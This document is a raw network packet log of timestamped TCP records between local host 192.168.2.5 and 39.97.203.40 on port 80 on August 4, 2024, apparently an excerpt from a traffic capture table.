Aug 4, 2024 12:55:09.551276922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.551290989 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.551316977 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.553702116 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.553747892 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.553755045 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.553769112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.553807020 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.555473089 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.555538893 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.555552959 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.555583954 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.557564020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.557610989 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.557624102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.557631969 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.557665110 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.559895992 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.559911013 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.559925079 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.559947014 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.561813116 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.561858892 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.561862946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.561877966 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.561908960 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.563934088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.563975096 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.563990116 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.564019918 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.565964937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.565979958 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.565994024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.566014051 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.566035032 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.568224907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.568270922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.568284988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.568310022 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.570261955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.570307016 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.570316076 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.570329905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.570363045 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.572127104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.572181940 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.572195053 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.572208881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.572227955 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.572238922 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.574333906 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.574379921 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.574394941 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.574425936 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.576395988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.576438904 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.576461077 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.576474905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.576513052 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.578587055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.578600883 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.578615904 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.578636885 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.580770016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.580811977 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.580822945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.580862999 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.580904007 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.582822084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.582906961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.582921028 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.582943916 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.586200953 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.586360931 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.586399078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.586452961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.586499929 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.586956024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.586980104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.586993933 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.587018013 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.589205027 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.589220047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.589232922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.589245081 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.589273930 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.591476917 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.591510057 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.591523886 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.591552019 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.594322920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.594364882 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.594368935 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.594383001 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.594423056 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.595488071 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.595542908 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.595556974 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.595578909 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.597556114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.597585917 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.597594976 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.597673893 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.597714901 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.600956917 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.600971937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.600986004 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.601007938 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.604134083 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.604172945 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.604180098 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.604193926 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.604232073 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.607265949 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.607341051 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.607355118 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.607383013 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.607625961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.607640982 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.607669115 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.608025074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.608063936 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.608127117 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.608141899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.608179092 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.610110044 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.610160112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.610173941 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.610198975 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.612656116 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.612703085 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.612716913 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.612718105 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.612752914 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.618227959 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.618243933 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.618257999 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.618280888 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.619838953 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.619873047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.619878054 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.619939089 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.619955063 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.619976997 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.620042086 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.620083094 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.620862961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.620877981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.620892048 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.620910883 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.622487068 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.622531891 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.622543097 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.622555971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.622581005 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.622595072 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.625102043 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.625140905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.625144005 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.625164986 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.625205040 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.627274036 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.627330065 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.627345085 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.627367973 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.629555941 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.629580021 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.629592896 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.629592896 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.629637957 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.631513119 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.631529093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.631542921 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.631561041 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.633378983 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.633394957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.633409023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.633428097 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.633445024 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.635616064 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.635628939 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.635643959 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.635658026 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.635669947 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.635694981 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.637722969 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.637777090 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.637790918 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.637823105 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.639493942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.639544010 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.639628887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.684361935 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.703530073 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.703546047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.703560114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.703602076 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.706974983 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.707067013 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.707079887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.707079887 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.707123041 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.711682081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.711714029 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.711728096 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.711779118 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.713459969 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.713507891 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.713540077 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.713553905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.713593960 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.716387987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.716403008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.716417074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.716434956 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.717278004 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.717324018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.717338085 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.717473984 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.718686104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.718719006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.718733072 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.718761921 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.719938993 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.719984055 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.720010042 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.720024109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.720056057 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.720081091 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.720166922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.720181942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.720210075 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.721231937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.721271992 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.721276999 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.721287012 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.721326113 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.722168922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.722183943 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.722199917 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.722224951 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.723145962 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.723170042 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.723185062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.723212957 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.723229885 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.725013971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.725056887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.725078106 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.725109100 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.727068901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.727092981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.727106094 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.727118015 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.727145910 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.729306936 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.729371071 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.729386091 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.729413986 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.731180906 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.731215954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.731230974 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.731338978 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.731338978 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.733299971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.733331919 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.733345985 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.733372927 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.735410929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.735435009 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.735449076 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.735452890 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.735488892 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.737577915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.737612009 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.737624884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.737638950 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.737658978 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.737677097 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.739732981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.739779949 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.739795923 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.739824057 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.741753101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.741776943 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.741790056 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.741799116 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.741831064 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.743822098 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.743861914 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.743876934 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.743904114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.746031046 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.746048927 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.746063948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.746073961 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.746109009 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.748389006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.748430014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.748445034 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.748467922 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.750587940 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.750633955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.750648022 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.750658989 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.750689983 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.752367973 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.752382994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.752398014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.752428055 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.754241943 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.754266024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.754278898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.754283905 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.754293919 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.754318953 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.756417990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.756460905 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.756491899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.756505966 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.756546021 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.758445024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.758496046 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.758511066 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.758546114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.760603905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.760653019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.760667086 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.760668039 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.760679960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.760706902 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.762659073 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.762682915 CEST	80	49709	39.97.203.40	192.168.2.5
